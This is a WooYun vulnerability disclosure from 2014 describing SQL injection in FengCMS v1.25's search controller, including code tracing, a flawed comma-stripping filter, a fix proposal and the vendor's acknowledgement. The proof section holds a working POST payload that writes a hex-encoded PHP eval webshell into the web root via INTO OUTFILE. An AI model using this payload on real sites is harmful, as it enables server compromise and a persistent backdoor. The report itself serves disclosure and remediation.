当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072135

漏洞标题:Fengcms v1.25 SQL注入漏洞2

相关厂商:fengcms.com

漏洞作者: zxx

提交时间:2014-08-13 11:57

修复时间:2014-11-11 11:58

公开时间:2014-11-11 11:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-13: 细节已通知厂商并且等待厂商处理中
2014-08-13: 厂商已经确认,细节仅向厂商公开
2014-08-16: 细节向第三方安全合作伙伴开放
2014-10-07: 细节向核心白帽子及相关领域专家公开
2014-10-17: 细节向普通白帽子公开
2014-10-27: 细节向实习白帽子公开
2014-11-11: 细节向公众公开

简要描述:

过滤问题导致sql注入

详细说明:

app/controller/searchControl.php

public function index(){
if($_POST['project']){
if(!$this->project_exist($_POST['project'])){//POST的project直接被放入函数
echo '<script type="text/javascript">alert("参数错误!");history.go(-1)</script>';
}
}
。。。


跟进project_exist函数

public function project_exist($string){
if(D("module")->where('project="'.$string.'" and status=1')->getcount()>0){ //直接把参数带入执行了。
return $string;
}else{
return false;
}
}


system/common/filter.php
但是system/app.php中有个全局的过滤:

/*------------------ 过滤 ------------------*/
//php 批量过滤post,get敏感数据
if (get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array(removexss_array($_POST));
}


没有开启魔术引号时候可以直接注入,但是因为fengcms的报错机制,不现实报错出的内容,这里又没回显,只能盲注了。
如果开启魔术引号,测试发现,我们的逗号会被过滤掉,这下不够顺畅了,跟下removexss_array函数:

function removexss_array($array){
if(!is_array($array)) return false;
foreach($array as $k => $v){
$arr[$k]= RemoveXSS($v);//跟进RemoveXSS
}
return $arr;
}
function RemoveXSS($val) {
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);//其实都是他的错,细心的观众会发现,这里是过滤各种看不见的字符的,我们的逗号去哪了?!仔细看一眼,逗我呢,哪里有用逗号连接我们的正则字符范围呢,逗号在这里是被误伤的。
后面代码省略。。


好了,没有逗号了,但是这里其他的符号并没有过滤,不需要逗号的sql注入代码一样可以利用,比如高权限直接写webshell到web目录。

漏洞证明:

没有魔术引号时,直接注入:

QQ截图20140812210305.png


开启魔术引号,来个写文件吧:
http://localhost/?controller=search
POST数据:project=1" union select 0x3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e into outfile 'D:/dedeampz/DedeAMPZ/WebRoot/Default/test.php' %23

QQ截图20140812211114.png


连接一下:

QQ截图20140812211207.png


我感觉应该有不使用逗号的其他利用方法。

修复方案:

对project参数过滤一下把;全局过滤也有问题,尤其针对get型的,直接去掉转义,等于没过滤,post型的仅仅针对xss过滤了;另外那个正则的误伤也改下吧。

版权声明:转载请注明来源 zxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-08-13 12:12

厂商回复:

非常感谢大家对FengCMS的指正!我们一定努力做到更好!

最新状态:

暂无